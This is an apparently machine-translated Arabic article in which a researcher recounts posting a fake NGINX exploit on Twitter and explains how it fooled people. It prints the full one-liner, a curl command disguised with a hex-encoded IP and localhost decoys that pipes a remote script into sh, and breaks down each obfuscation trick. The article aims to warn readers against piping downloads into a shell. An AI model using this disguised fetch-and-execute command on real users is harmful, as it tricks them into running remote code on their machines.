تقريبا. العابرة. : قرر كاتب المقال الأصلي ، الذي نشر في 1 يونيو ، إجراء تجربة بين المهتمين بأمن المعلومات. للقيام بذلك ، قام بإعداد استغلال وهمية لثغرة أمنية لم يكشف عنها في خادم الويب ونشرها على تويتر. فرضياته - أن يتم كشفها على الفور من قبل خبراء يرون عملية احتيال واضحة في الشفرة - لم تتحقق فقط ... لقد تجاوزت كل التوقعات ، وفي الاتجاه المعاكس: تلقت تويتر تغريدات كبيرة من العديد من الأشخاص الذين لم يتحققوا من محتوياتها.
TL ؛ DR: لا تستخدم أبدًا خطوط أنابيب الملفات في sh أو bash. هذه طريقة رائعة لفقد السيطرة على جهاز الكمبيوتر الخاص بك. أريد أن أشارككم قصة قصيرة حول استغلال PoC الهزلي الذي تم إنشاؤه في 31 مايو. ظهر فورًا استجابةً للأخبار الواردة من
Alisa Esage Shevchenko ، وهي عضو في
مبادرة Zero Day (ZDI) ، والتي ستكشف قريبًا عن المعلومات المتعلقة بالضعف في NGINX المؤدي إلى RCE (تنفيذ التعليمات البرمجية عن بُعد). نظرًا لأن NGINX هو أساس العديد من المواقع الإلكترونية ، كان من المفترض أن ينتج عن هذا الخبر تأثير القنبلة المتفجرة. ولكن بسبب التأخير في عملية "الكشف المسؤول" للمعلومات ، فإن تفاصيل ما حدث لم تكن معروفة - هذا هو الإجراء ZDI القياسي.
NGINX الكشف عن الضعف سقسقةبعد الانتهاء من العمل على تقنية التشويش الجديدة في الضفيرة ، نقلت عن تغريدة الأصلي و "تسربت PoC العمل" ، تتكون من سطر واحد من التعليمات البرمجية من المفترض باستخدام الضعف المكتشفة. بالطبع ، كان هراء كاملة. اعتقدت أنهم سيأخذونني على الفور إلى المياه النظيفة ، وفي أفضل الأحوال ، سأحصل على اثنين من تغريدات (حسناً).
همية استغلال سقسقةومع ذلك ، لم أستطع تخيل ما حدث بعد ذلك. ارتفعت شعبية تويتي. والمثير للدهشة ، في الوقت الحالي (الساعة 15:00 بتوقيت موسكو في 1 يونيو) ، أن القليلين منهم قد أدركوا أن هذا الأمر مزيف. العديد من إعادة تغريدها دون التحقق على الإطلاق (ناهيك عن الإعجاب رسومات ASCII الجميلة التي يعرضها).
انظروا فقط ما الجمال!على الرغم من أن كل هذه الحلقات والألوان رائعة ، بالطبع: لرؤيتها ، قام الأشخاص بتنفيذ الرمز على أجهزتهم. لحسن الحظ ، تعمل المتصفحات بشكل مشابه ، وبالاقتران مع حقيقة أنني لست بحاجة إلى مشاكل قانونية على الإطلاق ، فإن الشفرة المخبأة في موقعي أجرت للتو مكالمات صدى دون محاولة تثبيت أو تنفيذ أي كود إضافي.
استطرادا صغيرا:
netspooky ،
dnz ، I وغيرهم من اللاعبين من فريق
Thugcrowd ، كانوا يلعبون بطرق مختلفة للتشويش على أوامر الضفيرة لبعض الوقت ، لأنه بارد ... ونحن مهووسون. اكتشف netspooky و dnz عدة طرق جديدة تبدو واعدة للغاية بالنسبة لي. انضممت إلى المرح وحاولت إضافة تحويلات IP العشرية إلى مجموعة من الحيل. اتضح أنه يمكن أيضًا تحويل IP إلى ست عشري. علاوة على ذلك ، فإن حليقة ومعظم أدوات NIX الأخرى تستمتع بتناول عناوين IP السداسية العشرية! وبالتالي ، كان كل ما هو مطلوب هو إنشاء سطر أوامر مقنع وآمن. استقرت في النهاية على هذا:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
الهندسة الاجتماعية الإلكترونية (SEE) - أكثر من مجرد خداع
كانت السلامة والعادة هي الجزء الرئيسي من هذه التجربة. أعتقد أنه كان هم الذين قادوا إلى نجاحه. يتضمن سطر الأوامر أمانًا صريحًا ، يشير إلى "127.0.0.1" (المضيف المحلي المعروف). يُعتقد أن المضيف المحلي آمن وأن البيانات الموجودة عليه لا تترك جهاز الكمبيوتر الخاص بك أبدًا.
كانت القابلية للسكن هي المكوّن الرئيسي الثاني في التجربة. نظرًا لأن الجمهور المستهدف يتكون أساسًا من أشخاص على دراية بأساسيات أمان الكمبيوتر ، فمن المهم إنشاء مثل هذه الكود بحيث تبدو أجزائه مألوفة ومألوفة (وبالتالي آمنة). إن استعارة عناصر مفاهيم الاستغلال القديمة والجمع بينها بطريقة غير عادية كانت ناجحة للغاية.
يوجد أدناه تحليل مفصل لخط واحد.
كل شيء في هذه القائمة هو مستحضرات التجميل في الطبيعة ، وعمليا لا شيء مطلوب لعملها الحقيقي.ما هي مكونات ضرورية حقا؟ هذه هي
-gsS
و
-O 0x0238f06a
و
|sh
وخادم الويب نفسه. لا يحتوي خادم الويب على أي إرشادات ضارة ، ولكن ببساطة نقل الرسومات ASCII باستخدام أوامر
echo
في البرنامج النصي الموجود في
index.html
. عندما أدخل المستخدم سطرًا مع
|sh
في المنتصف ، تم تحميل
index.html
وتنفيذه. لحسن الحظ ، لم يكن لحراس خادم الويب أي نوايا شريرة.
../../../%00
- تصور خروجًا خارج الدليل ؛ngx_stream_module.so
- المسار إلى وحدة NGINX العشوائية ؛/bin/sh%00\<'protocol:TCP'
- من المفترض تشغيل /bin/sh
على الجهاز الهدف وإعادة توجيه الإخراج إلى قناة TCP ؛-O 0x0238f06a#PLToffset
- مكون سري يستكمل بـ #PLToffset
لتبدو وكأنه إزاحة ذاكرة موجودة بطريقة ما في PLT ؛|sh;
- قطعة مهمة أخرى. نحتاج إلى إعادة توجيه الإخراج إلى sh / bash من أجل تنفيذ التعليمات البرمجية الواردة من خادم الويب المهاجمة الموجود في 0x0238f06a
( 2.56.240.x
) ؛nc /dev/tcp/localhost
- عبارة عن دمية يشير فيها netcat إلى /dev/tcp/localhost
بحيث يبدو كل شيء آمنًا مرة أخرى. في الواقع ، لا يفعل شيئًا ويتم تضمينه في خط الجمال.
هذا يخلص إلى فك شفرة النص المكون من سطر واحد ومناقشة جوانب "الهندسة الاجتماعية الإلكترونية" (الخداع المعقد).
تكوين خادم الويب والتدابير المضادة
نظرًا لأن الغالبية العظمى من مشتركي هي أمن المعلومات / المتسللين ، فقد قررت أن أجعل خادم الويب أكثر مقاومة لمظاهر "الاهتمام" من جانبهم ، بحيث كان لدى اللاعبين ما يفعلونه (وكان من الجيد إعداده). لن أدرج جميع المصائد هنا ، حيث أن التجربة لا تزال جارية ، ولكن فيما يلي بعض الأشياء التي يقوم بها الخادم:
- يراقب بنشاط محاولات التوزيع على بعض الشبكات الاجتماعية ويستبدل مختلف الصور المصغرة للمعاينة لتشجيع المستخدم على اتباع الرابط.
- يعيد توجيه Chrome / Mozilla / Safari / إلخ إلى فيديو Thugcrowd الترويجي بدلاً من إظهار البرنامج النصي shell.
- يراقب العلامات الواضحة للتطفل / القرصنة ، وبعد ذلك يبدأ في إعادة توجيه الطلبات إلى خوادم NSA (ha!).
- يقوم بتثبيت طروادة ، وكذلك BIOS rootkit ، على جميع أجهزة الكمبيوتر التي يزور المستخدمون المضيف من متصفح عادي (نكتة!).
جزء صغير من antimerفي هذه الحالة ، كان هدفي الوحيد هو معرفة بعض ميزات Apache - خاصة قواعد رائعة لإعادة توجيه الطلبات - وفكرت: لم لا؟
استغلال NGINX (حقيقي!)
اتبع @ أليسايساج على Twitter
وابق على
إطلاع بعمل ZDI الرائع في إزالة الثغرات الحقيقية تمامًا واستغلال الفرص في NGINX. لقد أبهرني عملهم دائمًا وأنا ممتن لأليس على صبرها مع كل الإشعارات والإشعارات التي سببتها تغريدة غبي. لحسن الحظ ، حقق ذلك بعض الفوائد: فقد ساعد في زيادة الوعي بأوجه الضعف في NGINX ، فضلاً عن المشكلات الناجمة عن سوء استخدام الضفيرة.